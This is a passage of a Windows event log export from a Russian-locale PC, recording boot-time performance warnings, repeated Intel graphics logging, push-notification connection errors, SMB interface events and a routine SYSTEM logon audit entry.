(UTC)\t:\t\u200e2026\u200e-\u200e09\u200e-\u200e05T01:28:48.027125300Z\"\tWarning\tMicrosoft-Windows-Diagnostics-Performance/Operational\tMicrosoft-Windows-Diagnostics-Performance\n05.09.2026 08:30:36.633\t101\t\"This application took longer than usual to start up, resulting in a performance degradation in the system startup process: \n     File Name\t\t:\tMsMpEng.exe\n     Friendly Name\t\t:\tAntimalware Service Executable\n     Version\t\t:\t4.18.26080.3 (9e1f3147fbc83f18a98a965394a23e07747d7295)\n     Total Time\t\t:\t6992ms\n     Degradation Time\t:\t1992ms\n     Incident Time (UTC)\t:\t\u200e2026\u200e-\u200e09\u200e-\u200e05T01:28:48.027125300Z\"\tWarning\tMicrosoft-Windows-Diagnostics-Performance/Operational\tMicrosoft-Windows-Diagnostics-Performance\n05.09.2026 08:30:36.633\t101\t\"This application took longer than usual to start up, resulting in a performance degradation in the system startup process: \n     File Name\t\t:\tmsedgewebview2.exe\n     Friendly Name\t\t:\tMicrosoft Edge WebView2\n     Version\t\t:\t152.0.4191.62\n     Total Time\t\t:\t2717ms\n     Degradation Time\t:\t217ms\n     Incident Time (UTC)\t:\t\u200e2026\u200e-\u200e09\u200e-\u200e05T01:28:48.027125300Z\"\tWarning\tMicrosoft-Windows-Diagnostics-Performance/Operational\tMicrosoft-Windows-Diagnostics-Performance\n05.09.2026 08:30:36.653\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:36.729\t110\tDiagnostic module {c8544339-5be9-4f25-862e-485f1b1a6935} (%SystemRoot%\\system32\\diagperf.dll) finished troubleshooting scenario {86432a0b-3c7d-4ddf-a89c-172faa90485d}, instance {1282433c-4545-40de-ba0f-f72608f6da4b}, original activity ID {86432a0b-3c7d-4ddf-a89c-172faa90485d}.  No resolution was set by the diagnostic module.\tInformation\tMicrosoft-Windows-Diagnosis-DPS/Operational\tMicrosoft-Windows-Diagnosis-DPS\n05.09.2026 08:30:36.920\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:37.081\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:37.184\t1258\tWNP Transport Layer for Data Connection received asynchronous connection error 10060.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:30:37.184\t1207\tWNP Transport Layer resolving DNS initiated for host client.wns.windows.com for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:30:37.190\t1208\tWNP Transport Layer resolving DNS completed for the Data Connection with code The operation completed successfully..\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:30:37.190\t1211\tWNP Transport Layer initial server connection initiated to server client.wns.windows.com on port 443 for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:30:37.238\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:37.407\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:37.588\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:37.749\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:37.916\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:38.184\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:38.367\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:38.634\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:38.794\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:38.944\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:39.102\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:39.265\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:39.432\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:39.590\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:39.747\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:39.908\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:40.068\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:40.220\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:40.393\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:40.559\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:40.723\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:40.882\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:41.039\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:41.200\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:41.355\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:41.524\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:41.693\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:41.870\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:42.040\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:42.189\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:42.446\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:42.605\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:42.768\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:42.933\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:43.091\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:43.258\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:43.415\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:43.571\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:43.747\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:43.909\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:44.101\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:44.263\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:44.426\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:44.584\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:44.753\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:44.913\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:45.088\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:45.243\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:45.507\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:45.670\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:45.828\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:45.967\t1258\tWNP Transport Layer for Data Connection received asynchronous connection error 10060.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:30:45.967\t1213\tWNP Transport Layer proxy connection initiated for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:30:45.967\t1215\tWNP Transport Layer proxy negotiation initiated for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:30:45.973\t1216\tWNP Transport Layer proxy negotiation completed for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:30:45.991\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:46.150\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:46.304\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:46.479\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:46.644\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:46.808\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:46.964\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:47.121\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:47.289\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:47.451\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:47.721\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:47.923\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:48.090\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:48.243\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:48.407\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:48.567\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:48.727\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:48.885\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:49.046\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:49.208\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:49.305\t42\tWHEA event log entry\tInformation\tMicrosoft-Windows-Kernel-WHEA/Operational\tMicrosoft-Windows-Kernel-WHEA\n05.09.2026 08:30:49.371\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:49.638\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:49.790\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:49.948\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:50.139\t30810\t\"Added a TCP/IP transport interface.\n\nName: \u041f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u043f\u043e \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0439 \u0441\u0435\u0442\u0438* 10\nInterfaceIndex: 0xA\n\nGuidance:\nA TCP/IP binding was added to the specified network adapter for the SMB client. The SMB client can now send and receive SMB traffic on this network adapter using TCP/IP. You should expect this event when a computer restarts or when a previously disabled network adaptor is re-enabled. No user action is required.\"\tInformation\tMicrosoft-Windows-SmbClient/Connectivity\tMicrosoft-Windows-SMBClient\n05.09.2026 08:30:50.139\t1040\tReceived Mib notification type MibAddInstance for interface 10\tInformation\tMicrosoft-Windows-SMBServer/Operational\tMicrosoft-Windows-SMBServer\n05.09.2026 08:30:50.139\t1034\tSend RDMA Endpoint notification failure - DadState is different from IpDadStatePreferred for interface 10. Current DadState: 3.\tInformation\tMicrosoft-Windows-SMBServer/Operational\tMicrosoft-Windows-SMBServer\n05.09.2026 08:30:50.178\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:30:50.178\t4672\t\"Special privileges assigned to new 